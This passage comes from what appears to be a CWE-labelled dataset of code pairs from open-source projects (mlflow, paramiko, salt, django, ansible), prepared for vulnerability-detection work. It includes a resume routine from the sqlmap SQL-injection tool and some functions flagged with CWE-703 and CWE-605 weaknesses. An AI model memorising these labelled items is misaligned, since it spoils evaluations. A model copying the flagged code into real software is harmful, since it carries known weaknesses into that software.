    check = _enforce_schema(data, signature.inputs)
    pd.testing.assert_frame_equal(check, pd_data)

    # Test Dict[str, List[Any]]
    test_signature = {
        ""inputs"": '[{""type"": ""array"", ""items"": {""type"": ""long""}, '
        '""name"": ""a"", ""required"": true}, '
        '{""type"": ""array"", ""items"": {""type"": ""string""}, '
        '""name"": ""b"", ""required"": true}]',
        ""outputs"": '[{""type"": ""string"", ""required"": true}]',
    }
    signature = ModelSignature.from_dict(test_signature)
    data = {""a"": [4, 5, 6], ""b"": [""a"", ""b"", ""c""]}
    assert signature == infer_signature(data, output)
    pd_data = pd.DataFrame([data])
    check = _enforce_schema(data, signature.inputs)
    pd.testing.assert_frame_equal(check, pd_data)

    # Test Dict[str, np.ndarray]
    test_signature = {
        ""inputs"": '[{""name"": ""a"", ""type"": ""tensor"", ""tensor-spec"": '
        '{""dtype"": ""int64"", ""shape"": [-1]}}, '
        '{""name"": ""b"", ""type"": ""tensor"", ""tensor-spec"": '
        '{""dtype"": ""str"", ""shape"": [-1]}}]',
        ""outputs"": '[{""type"": ""string"", ""required"": true}]',
    }
    signature = ModelSignature.from_dict(test_signature)
    data = {""a"": np.array([1, 2, 3]), ""b"": np.array([""a"", ""b"", ""c""])}
    pd_check = _enforce_schema(data, signature.inputs)
    assert pd_check == data

    # Test Dict[str, np.ndarray] where array.size == 1
    test_signature = {
        ""inputs"": '[{""name"": ""a"", ""type"": ""tensor"", ""tensor-spec"": '
        '{""dtype"": ""int64"", ""shape"": [-1]}}, '
        '{""name"": ""b"", ""type"": ""tensor"", ""tensor-spec"": '
        '{""dtype"": ""str"", ""shape"": [-1]}}]',
        ""outputs"": '[{""type"": ""string"", ""required"": true}]',
    }
    signature = ModelSignature.from_dict(test_signature)
    data = {""a"": np.array([12]), ""b"": np.array([""a""])}
    pd_check = _enforce_schema(data, signature.inputs)
    assert pd_check == data"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/pkey.py,0,"def get_base64(self):
        """"""
        Return a base64 string containing the public part of this key.  Nothing
        secret is revealed.  This format is compatible with that used to store
        public key files or recognized host keys.

        @return: a base64 string containing the public part of the key.
        @rtype: str
        """"""
        return u(encodebytes(self.asbytes())).replace('\n', '')",,paramiko/paramiko,7444a999931cddc1e61bb35270468aa45da2687e,"def get_base64(self):
        """"""
        Return a base64 string containing the public part of this key.  Nothing
        secret is revealed.  This format is compatible with that used to store
        public key files or recognized host keys.

        @return: a base64 string containing the public part of the key.
        @rtype: str
        """"""
        return u(base64.encodestring(self.asbytes())).replace('\n', '')"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/services/contents/tests/test_contents_api.py,0,"def __init__(self, base_url):
        self.base_url = base_url",,jupyter/notebook,6f48b58b18b21957cdca7c0603962673afc6841a,"def __init__(self, base_url):
        self.base_url = base_url"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/models/utils.py,0,"def _validate_and_get_model_code_path(model_code_path: str) -> str:
    """"""
    Validate model code path exists. Creates a temp file and validate its contents if it's a
    notebook.

    Returns either `model_code_path` or a temp file path with the contents of the notebook.
    """"""
    if not os.path.exists(model_code_path):
        raise MlflowException.invalid_parameter_value(
            f""The provided model path '{model_code_path}' is not a valid Python file path or a ""
            ""Databricks Notebook file path containing the code for defining the chain instance. ""
            ""Ensure the file path is valid and try again.""
        )

    try:
        with open(model_code_path) as _:
            return model_code_path
    except Exception:
        try:
            from databricks.sdk import WorkspaceClient
            from databricks.sdk.service.workspace import ExportFormat

            w = WorkspaceClient()
            response = w.workspace.export(path=model_code_path, format=ExportFormat.SOURCE)
            decoded_content = base64.b64decode(response.content)
        except Exception:
            raise MlflowException.invalid_parameter_value(
                f""The provided model path '{model_code_path}' is not a valid Python file path or a ""
                ""Databricks Notebook file path containing the code for defining the chain ""
                ""instance. Ensure the file path is valid and try again.""
            )

        _validate_model_code_from_notebook(decoded_content.decode(""utf-8""))
        return _get_temp_file_with_content(""model.py"", decoded_content, ""wb"")",,mlflow/mlflow,f78d4c5d379785338d72d4e639f7bd62c91f2825,"def _validate_and_get_model_code_path(model_code_path: str) -> str:
    """"""
    Validate model code path exists. Creates a temp file and validate its contents if it's a
    notebook.

    Returns either `model_code_path` or a temp file path with the contents of the notebook.
    """"""
    if not os.path.exists(model_code_path):
        raise MlflowException.invalid_parameter_value(
            f""If the provided model '{model_code_path}' is a string, it must be a valid python ""
            ""file path or a databricks notebook file path containing the code for defining ""
            ""the chain instance.""
        )

    try:
        with open(model_code_path) as _:
            return model_code_path
    except Exception:
        try:
            from databricks.sdk import WorkspaceClient
            from databricks.sdk.service.workspace import ExportFormat

            w = WorkspaceClient()
            response = w.workspace.export(path=model_code_path, format=ExportFormat.SOURCE)
            decoded_content = base64.b64decode(response.content)
        except Exception:
            raise MlflowException.invalid_parameter_value(
                f""If the provided model '{model_code_path}' is a string, it must be a valid python ""
                ""file path or a databricks notebook file path containing the code for defining ""
                ""the chain instance.""
            )

        _validate_model_code_from_notebook(decoded_content.decode(""utf-8""))
        return _get_temp_file_with_content(""model.py"", decoded_content, ""wb"")"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/cloud/clouds/ec2.py,0,"def create(vm_=None, call=None):
    '''
    Create a single VM from a data dict
    '''
    if call:
        raise SaltCloudSystemExit(
            'You cannot create an instance with -a or -f.'
        )

    salt.utils.cloud.fire_event(
        'event',
        'starting create',
        'salt/cloud/{0}/creating'.format(vm_['name']),
        {
            'name': vm_['name'],
            'profile': vm_['profile'],
            'provider': vm_['provider'],
        },
        transport=__opts__['transport']
    )

    key_filename = config.get_cloud_config_value(
        'private_key', vm_, __opts__, search_global=False, default=None
    )
    if key_filename is not None and not os.path.isfile(key_filename):
        raise SaltCloudConfigError(
            'The defined key_filename {0!r} does not exist'.format(
                key_filename
            )
        )
    vm_['key_filename'] = key_filename

    # Get SSH Gateway config early to verify the private_key,
    # if used, exists or not. We don't want to deploy an instance
    # and not be able to access it via the gateway.
    ssh_gateway_config = get_ssh_gateway_config(vm_)
    vm_['ssh_gateway_config'] = ssh_gateway_config

    location = get_location(vm_)
    vm_['location'] = location

    log.info('Creating Cloud VM {0} in {1}'.format(vm_['name'], location))
    vm_['usernames'] = salt.utils.cloud.ssh_usernames(
        vm_,
        __opts__,
        default_users=(
            'ec2-user', 'ubuntu', 'fedora', 'admin', 'bitnami', 'root'
        )
    )

    if 'instance_id' in vm_:
        # This was probably created via another process, and doesn't have
        # things like salt keys created yet, so let's create them now.
        if 'pub_key' not in vm_ and 'priv_key' not in vm_:
            log.debug('Generating minion keys for {0[name]!r}'.format(vm_))
            vm_['priv_key'], vm_['pub_key'] = salt.utils.cloud.gen_keys(
                salt.config.get_cloud_config_value(
                    'keysize',
                    vm_,
                    __opts__
                )
            )
    else:
        # Put together all of the information required to request the instance,
        # and then fire off the request for it
        data, vm_ = request_instance(vm_, location)

        # If data is a str, it's an error
        if isinstance(data, str):
            log.error('Error requesting instance: {0}'.format(data))
            return {}

        # Pull the instance ID, valid for both spot and normal instances

        # Multiple instances may have been spun up, get all their IDs
        vm_['instance_id_list'] = []
        for instance in data:
            vm_['instance_id_list'].append(instance['instanceId'])

        vm_['instance_id'] = vm_['instance_id_list'].pop()
        if len(vm_['instance_id_list']) > 0:
            # Multiple instances were spun up, get one now, and queue the rest
            queue_instances(vm_['instance_id_list'])

    # Wait for vital information, such as IP addresses, to be available
    # for the new instance
    data = query_instance(vm_)

    # Now that the instance is available, tag it appropriately. Should
    # mitigate race conditions with tags
    tags = config.get_cloud_config_value('tag',
                                         vm_,
                                         __opts__,
                                         {},
                                         search_global=False)
    if not isinstance(tags, dict):
        raise SaltCloudConfigError(
            '\'tag\' should be a dict.'
        )

    for value in tags.values():
        if not isinstance(value, str):
            raise SaltCloudConfigError(
                '\'tag\' values must be strings. Try quoting the values. '
                'e.g. ""2013-09-19T20:09:46Z"".'
            )

    tags['Name'] = vm_['name']

    salt.utils.cloud.fire_event(
        'event',
        'setting tags',
        'salt/cloud/{0}/tagging'.format(vm_['name']),
        {'tags': tags},
        transport=__opts__['transport']
    )

    set_tags(
        vm_['name'],
        tags,
        instance_id=vm_['instance_id'],
        call='action',
        location=location
    )

    network_interfaces = config.get_cloud_config_value(
        'network_interfaces',
        vm_,
        __opts__,
        search_global=False
    )

    if network_interfaces:
        _update_enis(network_interfaces, data)

    # At this point, the node is created and tagged, and now needs to be
    # bootstrapped, once the necessary port is available.
    log.info('Created node {0}'.format(vm_['name']))

    instance = data[0]['instancesSet']['item']

    # Wait for the necessary port to become available to bootstrap
    if ssh_interface(vm_) == 'private_ips':
        ip_address = instance['privateIpAddress']
        log.info('Salt node data. Private_ip: {0}'.format(ip_address))
    else:
        ip_address = instance['ipAddress']
        log.info('Salt node data. Public_ip: {0}'.format(ip_address))
    vm_['ssh_host'] = ip_address

    if get_salt_interface(vm_) == 'private_ips':
        salt_ip_address = instance['privateIpAddress']
        log.info('Salt interface set to: {0}'.format(salt_ip_address))
    else:
        salt_ip_address = instance['ipAddress']
        log.debug('Salt interface set to: {0}'.format(salt_ip_address))
    vm_['salt_host'] = salt_ip_address

    display_ssh_output = config.get_cloud_config_value(
        'display_ssh_output', vm_, __opts__, default=True
    )

    vm_ = wait_for_instance(
        vm_, data, ip_address, display_ssh_output
    )

    # The instance is booted and accessible, let's Salt it!
    ret = instance.copy()

    # Get ANY defined volumes settings, merging data, in the following order
    # 1. VM config
    # 2. Profile config
    # 3. Global configuration
    volumes = config.get_cloud_config_value(
        'volumes', vm_, __opts__, search_global=True
    )
    if volumes:
        salt.utils.cloud.fire_event(
            'event',
            'attaching volumes',
            'salt/cloud/{0}/attaching_volumes'.format(vm_['name']),
            {'volumes': volumes},
            transport=__opts__['transport']
        )

        log.info('Create and attach volumes to node {0}'.format(vm_['name']))
        created = create_attach_volumes(
            vm_['name'],
            {
                'volumes': volumes,
                'zone': ret['placement']['availabilityZone'],
                'instance_id': ret['instanceId'],
                'del_all_vols_on_destroy': vm_.get('set_del_all_vols_on_destroy', False)
            },
            call='action'
        )
        ret['Attached Volumes'] = created

    for key, value in salt.utils.cloud.bootstrap(vm_, __opts__).items():
        ret.setdefault(key, value)

    log.info('Created Cloud VM {0[name]!r}'.format(vm_))
    log.debug(
        '{0[name]!r} VM creation details:\n{1}'.format(
            vm_, pprint.pformat(instance)
        )
    )

    event_data = {
        'name': vm_['name'],
        'profile': vm_['profile'],
        'provider': vm_['provider'],
        'instance_id': vm_['instance_id'],
    }
    if volumes:
        event_data['volumes'] = volumes

    salt.utils.cloud.fire_event(
        'event',
        'created instance',
        'salt/cloud/{0}/created'.format(vm_['name']),
        event_data,
        transport=__opts__['transport']
    )

    return ret",,saltstack/salt,593cc21a3309303b6c8d2e10fabfb65b5c732edf,"def create(vm_=None, call=None):
    '''
    Create a single VM from a data dict
    '''
    if call:
        raise SaltCloudSystemExit(
            'You cannot create an instance with -a or -f.'
        )

    salt.utils.cloud.fire_event(
        'event',
        'starting create',
        'salt/cloud/{0}/creating'.format(vm_['name']),
        {
            'name': vm_['name'],
            'profile': vm_['profile'],
            'provider': vm_['provider'],
        },
        transport=__opts__['transport']
    )

    key_filename = config.get_cloud_config_value(
        'private_key', vm_, __opts__, search_global=False, default=None
    )
    if key_filename is not None and not os.path.isfile(key_filename):
        raise SaltCloudConfigError(
            'The defined key_filename {0!r} does not exist'.format(
                key_filename
            )
        )
    vm_['key_filename'] = key_filename

    # Get SSH Gateway config early to verify the private_key,
    # if used, exists or not. We don't want to deploy an instance
    # and not be able to access it via the gateway.
    ssh_gateway_config = get_ssh_gateway_config(vm_)
    vm_['ssh_gateway_config'] = ssh_gateway_config

    location = get_location(vm_)
    vm_['location'] = location

    log.info('Creating Cloud VM {0} in {1}'.format(vm_['name'], location))
    vm_['usernames'] = salt.utils.cloud.ssh_usernames(
        vm_,
        __opts__,
        default_users=(
            'ec2-user', 'ubuntu', 'fedora', 'admin', 'bitnami', 'root'
        )
    )

    if 'instance_id' in vm_:
        # This was probably created via another process, and doesn't have
        # things like salt keys created yet, so let's create them now.
        if 'pub_key' not in vm_ and 'priv_key' not in vm_:
            log.debug('Generating minion keys for {0[name]!r}'.format(vm_))
            vm_['priv_key'], vm_['pub_key'] = salt.utils.cloud.gen_keys(
                salt.config.get_cloud_config_value(
                    'keysize',
                    vm_,
                    __opts__
                )
            )
    else:
        # Put together all of the information required to request the instance,
        # and then fire off the request for it
        data, vm_ = request_instance(vm_, location)

        # Pull the instance ID, valid for both spot and normal instances

        # Multiple instances may have been spun up, get all their IDs
        vm_['instance_id_list'] = []
        for instance in data:
            vm_['instance_id_list'].append(instance['instanceId'])

        vm_['instance_id'] = vm_['instance_id_list'].pop()
        if len(vm_['instance_id_list']) > 0:
            # Multiple instances were spun up, get one now, and queue the rest
            queue_instances(vm_['instance_id_list'])

    # Wait for vital information, such as IP addresses, to be available
    # for the new instance
    data = query_instance(vm_)

    # Now that the instance is available, tag it appropriately. Should
    # mitigate race conditions with tags
    tags = config.get_cloud_config_value('tag',
                                         vm_,
                                         __opts__,
                                         {},
                                         search_global=False)
    if not isinstance(tags, dict):
        raise SaltCloudConfigError(
            '\'tag\' should be a dict.'
        )

    for value in tags.values():
        if not isinstance(value, str):
            raise SaltCloudConfigError(
                '\'tag\' values must be strings. Try quoting the values. '
                'e.g. ""2013-09-19T20:09:46Z"".'
            )

    tags['Name'] = vm_['name']

    salt.utils.cloud.fire_event(
        'event',
        'setting tags',
        'salt/cloud/{0}/tagging'.format(vm_['name']),
        {'tags': tags},
        transport=__opts__['transport']
    )

    set_tags(
        vm_['name'],
        tags,
        instance_id=vm_['instance_id'],
        call='action',
        location=location
    )

    network_interfaces = config.get_cloud_config_value(
        'network_interfaces',
        vm_,
        __opts__,
        search_global=False
    )

    if network_interfaces:
        _update_enis(network_interfaces, data)

    # At this point, the node is created and tagged, and now needs to be
    # bootstrapped, once the necessary port is available.
    log.info('Created node {0}'.format(vm_['name']))

    instance = data[0]['instancesSet']['item']

    # Wait for the necessary port to become available to bootstrap
    if ssh_interface(vm_) == 'private_ips':
        ip_address = instance['privateIpAddress']
        log.info('Salt node data. Private_ip: {0}'.format(ip_address))
    else:
        ip_address = instance['ipAddress']
        log.info('Salt node data. Public_ip: {0}'.format(ip_address))
    vm_['ssh_host'] = ip_address

    if get_salt_interface(vm_) == 'private_ips':
        salt_ip_address = instance['privateIpAddress']
        log.info('Salt interface set to: {0}'.format(salt_ip_address))
    else:
        salt_ip_address = instance['ipAddress']
        log.debug('Salt interface set to: {0}'.format(salt_ip_address))
    vm_['salt_host'] = salt_ip_address

    display_ssh_output = config.get_cloud_config_value(
        'display_ssh_output', vm_, __opts__, default=True
    )

    vm_ = wait_for_instance(
        vm_, data, ip_address, display_ssh_output
    )

    # The instance is booted and accessible, let's Salt it!
    ret = instance.copy()

    # Get ANY defined volumes settings, merging data, in the following order
    # 1. VM config
    # 2. Profile config
    # 3. Global configuration
    volumes = config.get_cloud_config_value(
        'volumes', vm_, __opts__, search_global=True
    )
    if volumes:
        salt.utils.cloud.fire_event(
            'event',
            'attaching volumes',
            'salt/cloud/{0}/attaching_volumes'.format(vm_['name']),
            {'volumes': volumes},
            transport=__opts__['transport']
        )

        log.info('Create and attach volumes to node {0}'.format(vm_['name']))
        created = create_attach_volumes(
            vm_['name'],
            {
                'volumes': volumes,
                'zone': ret['placement']['availabilityZone'],
                'instance_id': ret['instanceId'],
                'del_all_vols_on_destroy': vm_.get('set_del_all_vols_on_destroy', False)
            },
            call='action'
        )
        ret['Attached Volumes'] = created

    for key, value in salt.utils.cloud.bootstrap(vm_, __opts__).items():
        ret.setdefault(key, value)

    log.info('Created Cloud VM {0[name]!r}'.format(vm_))
    log.debug(
        '{0[name]!r} VM creation details:\n{1}'.format(
            vm_, pprint.pformat(instance)
        )
    )

    event_data = {
        'name': vm_['name'],
        'profile': vm_['profile'],
        'provider': vm_['provider'],
        'instance_id': vm_['instance_id'],
    }
    if volumes:
        event_data['volumes'] = volumes

    salt.utils.cloud.fire_event(
        'event',
        'created instance',
        'salt/cloud/{0}/created'.format(vm_['name']),
        event_data,
        transport=__opts__['transport']
    )

    return ret"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/utils/resume.py,0,"def resume(expression, payload):
    """"""
    This function can be called to resume part or entire output of a
    SQL injection query output.
    """"""

    if ""sqlmapfile"" in expression or ""sqlmapoutput"" in expression:
        return None

    condition = (
                  kb.resumedQueries and conf.url in kb.resumedQueries.keys()
                  and expression in kb.resumedQueries[conf.url].keys()
                )

    if not condition:
        return None

    resumedValue = kb.resumedQueries[conf.url][expression]

    if not resumedValue:
        return None

    if resumedValue[-1] == ""]"":
        resumedValue = resumedValue[:-1]

        infoMsg  = ""read from file '%s': "" % conf.sessionFile
        logValue = re.findall(""__START__(.*?)__STOP__"", resumedValue, re.S)

        if logValue:
            logValue = "", "".join([value.replace(""__DEL__"", "", "") for value in logValue])
        else:
            logValue = resumedValue

        if ""\n"" in logValue:
            infoMsg += ""%s..."" % logValue.split(""\n"")[0]
        else:
            infoMsg += logValue

        logger.info(infoMsg)

        return resumedValue

    # If we called this function without providing a payload it means that
    # we have called it from lib/request/inject __goInband() function
    # in UNION query (inband) SQL injection so we return to the calling
    # function so that the query output will be retrieved taking advantage
    # of the inband SQL injection vulnerability.
    if not payload:
        return None

    substringQuery = queries[kb.dbms].substring
    select = re.search(""\ASELECT "", expression, re.I)

    _, length, regExpr = queryOutputLength(expression, payload)

    if not length:
        return None

    if len(resumedValue) == int(length):
        infoMsg  = ""read from file '%s': "" % conf.sessionFile
        infoMsg += ""%s"" % resumedValue.split(""\n"")[0]
        logger.info(infoMsg)

        dataToSessionFile(""[%s][%s][%s][%s][%s]\n"" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, resumedValue))

        return resumedValue
    elif len(resumedValue) < int(length):
        infoMsg  = ""resumed from file '%s': "" % conf.sessionFile
        infoMsg += ""%s..."" % resumedValue.split(""\n"")[0]
        logger.info(infoMsg)

        dataToSessionFile(""[%s][%s][%s][%s][%s"" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, resumedValue))

        if select:
            newExpr = expression.replace(regExpr, safeStringFormat(substringQuery, (regExpr, len(resumedValue) + 1, int(length))), 1)
        else:
            newExpr = safeStringFormat(substringQuery, (expression, len(resumedValue) + 1, int(length)))

        missingCharsLength = int(length) - len(resumedValue)

        infoMsg  = ""retrieving pending %d query "" % missingCharsLength
        infoMsg += ""output characters""
        logger.info(infoMsg)

        _, finalValue = bisection(payload, newExpr, length=missingCharsLength)

        if len(finalValue) != ( int(length) - len(resumedValue) ):
            warnMsg  = ""the total length of the query is not ""
            warnMsg += ""right, sqlmap is going to retrieve the ""
            warnMsg += ""query value from the beginning now""
            logger.warn(warnMsg)

            return None

        return ""%s%s"" % (resumedValue, finalValue)

    return None",,sqlmapproject/sqlmap,e8d76994baa30b75570168d42b0012e03c604df0,"def resume(expression, payload):
    """"""
    This function can be called to resume part or entire output of a
    SQL injection query output.
    """"""

    condition = (
                  kb.resumedQueries and conf.url in kb.resumedQueries.keys()
                  and expression in kb.resumedQueries[conf.url].keys()
                )

    if not condition:
        return None

    resumedValue = kb.resumedQueries[conf.url][expression]

    if not resumedValue:
        return None

    if resumedValue[-1] == ""]"":
        resumedValue = resumedValue[:-1]

        infoMsg  = ""read from file '%s': "" % conf.sessionFile
        logValue = re.findall(""__START__(.*?)__STOP__"", resumedValue, re.S)

        if logValue:
            logValue = "", "".join([value.replace(""__DEL__"", "", "") for value in logValue])
        else:
            logValue = resumedValue

        if ""\n"" in logValue:
            infoMsg += ""%s..."" % logValue.split(""\n"")[0]
        else:
            infoMsg += logValue

        logger.info(infoMsg)

        return resumedValue

    # If we called this function without providing a payload it means that
    # we have called it from lib/request/inject __goInband() function
    # in UNION query (inband) SQL injection so we return to the calling
    # function so that the query output will be retrieved taking advantage
    # of the inband SQL injection vulnerability.
    if not payload:
        return None

    substringQuery = queries[kb.dbms].substring
    select = re.search(""\ASELECT "", expression, re.I)

    _, length, regExpr = queryOutputLength(expression, payload)

    if not length:
        return None

    if len(resumedValue) == int(length):
        infoMsg  = ""read from file '%s': "" % conf.sessionFile
        infoMsg += ""%s"" % resumedValue.split(""\n"")[0]
        logger.info(infoMsg)

        dataToSessionFile(""[%s][%s][%s][%s][%s]\n"" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, resumedValue))

        return resumedValue
    elif len(resumedValue) < int(length):
        infoMsg  = ""resumed from file '%s': "" % conf.sessionFile
        infoMsg += ""%s..."" % resumedValue.split(""\n"")[0]
        logger.info(infoMsg)

        dataToSessionFile(""[%s][%s][%s][%s][%s"" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, resumedValue))

        if select:
            newExpr = expression.replace(regExpr, safeStringFormat(substringQuery, (regExpr, len(resumedValue) + 1, int(length))), 1)
        else:
            newExpr = safeStringFormat(substringQuery, (expression, len(resumedValue) + 1, int(length)))

        missingCharsLength = int(length) - len(resumedValue)

        infoMsg  = ""retrieving pending %d query "" % missingCharsLength
        infoMsg += ""output characters""
        logger.info(infoMsg)

        _, finalValue = bisection(payload, newExpr, length=missingCharsLength)

        if len(finalValue) != ( int(length) - len(resumedValue) ):
            warnMsg  = ""the total length of the query is not ""
            warnMsg += ""right, sqlmap is going to retrieve the ""
            warnMsg += ""query value from the beginning now""
            logger.warn(warnMsg)

            return None

        return ""%s%s"" % (resumedValue, finalValue)

    return None"
,UNKNOWN,UNKNOWN,django/contrib/auth/hashers.py,1,"def encode(self, password, salt):
        crypt = self._load_library()
        assert len(salt) == 2
        data = crypt.crypt(force_str(password), salt)
        assert data is not None  # A platform like OpenBSD with a dummy crypt module.
        # we don't need to store the salt, but Django used to do this
        return ""%s$%s$%s"" % (self.algorithm, '', data)",CWE-703,django/django,1243fdf5cb909a00b653dff5efb2e34d27c1cf7e,"def encode(self, password, salt):
        crypt = self._load_library()
        assert len(salt) == 2
        data = crypt.crypt(force_str(password), salt)
        # we don't need to store the salt, but Django used to do this
        return ""%s$%s$%s"" % (self.algorithm, '', data)"
,UNKNOWN,UNKNOWN,lib/ansible/plugins/filter/ipaddr.py,1,"def ipaddr(value, query='', version=False, alias='ipaddr'):
    ''' Check if string is an IP address or network and filter it '''

    query_func_extra_args = {
        '': ('vtype',),
        '6to4': ('vtype', 'value'),
        'cidr_lookup': ('iplist', 'value'),
        'first_usable': ('vtype',),
        'int': ('vtype',),
        'ipv4': ('value',),
        'ipv6': ('value',),
        'last_usable': ('vtype',),
        'link-local': ('value',),
        'loopback': ('value',),
        'lo': ('value',),
        'multicast': ('value',),
        'next_usable': ('vtype',),
        'previous_usable': ('vtype',),
        'private': ('value',),
        'public': ('value',),
        'unicast': ('value',),
        'range_usable': ('vtype',),
        'wrap': ('vtype', 'value'),
    }

    query_func_map = {
        '': _empty_ipaddr_query,
        '6to4': _6to4_query,
        'address': _ip_query,
        'address/prefix': _address_prefix_query,  # deprecate
        'bool': _bool_ipaddr_query,
        'broadcast': _broadcast_query,
        'cidr': _cidr_query,
        'cidr_lookup': _cidr_lookup_query,
        'first_usable': _first_usable_query,
        'gateway': _gateway_query,  # deprecate
        'gw': _gateway_query,  # deprecate
        'host': _host_query,
        'host/prefix': _address_prefix_query,  # deprecate
        'hostmask': _hostmask_query,
        'hostnet': _gateway_query,  # deprecate
        'int': _int_query,
        'ip': _ip_query,
        'ip/prefix': _ip_prefix_query,
        'ip_netmask': _ip_netmask_query,
        # 'ip_wildcard': _ip_wildcard_query, built then could not think of use case
        'ipv4': _ipv4_query,
        'ipv6': _ipv6_query,
        'last_usable': _last_usable_query,
        'link-local': _link_local_query,
        'lo': _loopback_query,
        'loopback': _loopback_query,
        'multicast': _multicast_query,
        'net': _net_query,
        'next_usable': _next_usable_query,
        'netmask': _netmask_query,
        'network': _network_query,
        'network_id': _network_id_query,
        'network/prefix': _subnet_query,
        'network_netmask': _network_netmask_query,
        'network_wildcard': _network_wildcard_query,
        'prefix': _prefix_query,
        'previous_usable': _previous_usable_query,
        'private': _private_query,
        'public': _public_query,
        'range_usable': _range_usable_query,
        'revdns': _revdns_query,
        'router': _gateway_query,  # deprecate
        'size': _size_query,
        'size_usable': _size_usable_query,
        'subnet': _subnet_query,
        'type': _type_query,
        'unicast': _unicast_query,
        'v4': _ipv4_query,
        'v6': _ipv6_query,
        'version': _version_query,
        'wildcard': _hostmask_query,
        'wrap': _wrap_query,
    }

    vtype = None

    if not value:
        return False

    elif value is True:
        return False

    # Check if value is a list and parse each element
    elif isinstance(value, (list, tuple, types.GeneratorType)):

        _ret = []
        for element in value:
            if ipaddr(element, str(query), version):
                _ret.append(ipaddr(element, str(query), version))

        if _ret:
            return _ret
        else:
            return list()

    # Check if value is a number and convert it to an IP address
    elif str(value).isdigit():

        # We don't know what IP version to assume, so let's check IPv4 first,
        # then IPv6
        try:
            if ((not version) or (version and version == 4)):
                v = netaddr.IPNetwork('0.0.0.0/0')
                v.value = int(value)
                v.prefixlen = 32
            elif version and version == 6:
                v = netaddr.IPNetwork('::/0')
                v.value = int(value)
                v.prefixlen = 128

        # IPv4 didn't work the first time, so it definitely has to be IPv6
        except Exception:
            try:
                v = netaddr.IPNetwork('::/0')
                v.value = int(value)
                v.prefixlen = 128

            # The value is too big for IPv6. Are you a nanobot?
            except Exception:
                return False

        # We got an IP address, let's mark it as such
        value = str(v)
        vtype = 'address'

    # value has not been recognized, check if it's a valid IP string
    else:
        try:
            v = netaddr.IPNetwork(value)

            # value is a valid IP string, check if user specified
            # CIDR prefix or just an IP address, this will indicate default
            # output format
            try:
                address, prefix = value.split('/')
                vtype = 'network'
            except Exception:
                vtype = 'address'

        # value hasn't been recognized, maybe it's a numerical CIDR?
        except Exception:
            try:
                address, prefix = value.split('/')
                address.isdigit()
                address = int(address)
                prefix.isdigit()
                prefix = int(prefix)

            # It's not numerical CIDR, give up
            except Exception:
                return False

            # It is something, so let's try and build a CIDR from the parts
            try:
                v = netaddr.IPNetwork('0.0.0.0/0')
                v.value = address
                v.prefixlen = prefix

            # It's not a valid IPv4 CIDR
            except Exception:
                try:
                    v = netaddr.IPNetwork('::/0')
                    v.value = address
                    v.prefixlen = prefix

                # It's not a valid IPv6 CIDR. Give up.
                except Exception:
                    return False

            # We have a valid CIDR, so let's write it in correct format
            value = str(v)
            vtype = 'network'

    # We have a query string but it's not in the known query types. Check if
    # that string is a valid subnet, if so, we can check later if given IP
    # address/network is inside that specific subnet
    try:
        # ?? 6to4 and link-local were True here before.  Should they still?
        if query and (query not in query_func_map or query == 'cidr_lookup') and not str(query).isdigit() and ipaddr(query, 'network'):
            iplist = netaddr.IPSet([netaddr.IPNetwork(query)])
            query = 'cidr_lookup'
    except Exception:
        pass

    # This code checks if value maches the IP version the user wants, ie. if
    # it's any version (""ipaddr()""), IPv4 (""ipv4()"") or IPv6 (""ipv6()"")
    # If version does not match, return False
    if version and v.version != version:
        return False

    extras = []
    for arg in query_func_extra_args.get(query, tuple()):
        extras.append(locals()[arg])
    try:
        return query_func_map[query](v, *extras)
    except KeyError:
        try:
            float(query)
            if v.size == 1:
                if vtype == 'address':
                    return str(v.ip)
                elif vtype == 'network':
                    return str(v)

            elif v.size > 1:
                try:
                    return str(v[query]) + '/' + str(v.prefixlen)
                except Exception:
                    return False

            else:
                return value

        except Exception:
            raise errors.AnsibleFilterError(alias + ': unknown filter type: %s' % query)

    return False",CWE-605,ansible/ansible,95c2763f407d5811b7994a7fb5c49512b418291c,"def ipaddr(value, query='', version=False, alias='ipaddr'):
    ''' Check if string is an IP address or network and filter it '''

    query_func_extra_args = {
        '': ('vtype',),
        '6to4': ('vtype', 'value'),
        'cidr_lookup': ('iplist', 'value'),
        'first_usable': ('vtype',),
        'int': ('vtype',),
        'ipv4': ('value',),
        'ipv6': ('value',),
        'last_usable': ('vtype',),
        'link-local': ('value',),
        'loopback': ('value',),
        'lo': ('value',),
        'multicast': ('value',),
        'next_usable': ('vtype',),
        'previous_usable': ('vtype',),
        'private': ('value',),
        'public': ('value',),
        'unicast': ('value',),
        'range_usable': ('vtype',),
        'wrap': ('vtype', 'value'),
    }

    query_func_map = {
        '': _empty_ipaddr_query,
        '6to4': _6to4_query,
        'address': _ip_query,
        'address/prefix': _address_prefix_query,  # deprecate
        'bool': _bool_ipaddr_query,
        'broadcast': _broadcast_query,
        'cidr': _cidr_query,
        'cidr_lookup': _cidr_lookup_query,
        'first_usable': _first_usable_query,
        'gateway': _gateway_query,  # deprecate
        'gw': _gateway_query,  # deprecate
        'host': _host_query,
        'host/prefix': _address_prefix_query,  # deprecate
        'hostmask': _hostmask_query,
        'hostnet': _gateway_query,  # deprecate
        'int': _int_query,
        'ip': _ip_query,
        'ip/prefix': _ip_prefix_query,
        'ip_netmask': _ip_netmask_query,
        # 'ip_wildcard': _ip_wildcard_query, built then could not think of use case
        'ipv4': _ipv4_query,
        'ipv6': _ipv6_query,
        'last_usable': _last_usable_query,
        'link-local': _link_local_query,
        'lo': _loopback_query,
        'loopback': _loopback_query,
        'multicast': _multicast_query,
        'net': _net_query,
        'next_usable': _next_usable_query,
        'netmask': _netmask_query,
        'network': _network_query,
        'network_id': _network_id_query,
        'network/prefix': _subnet_query,
        'network_netmask': _network_netmask_query,
        'network_wildcard': _network_wildcard_query,
        'prefix': _prefix_query,
        'previous_usable': _previous_usable_query,
        'private': _private_query,
        'public': _public_query,
        'range_usable': _range_usable_query,
        'revdns': _revdns_query,
        'router': _gateway_query,  # deprecate
        'size': _size_query,
        'size_usable': _size_usable_query,
        'subnet': _subnet_query,
        'type': _type_query,
        'unicast': _unicast_query,
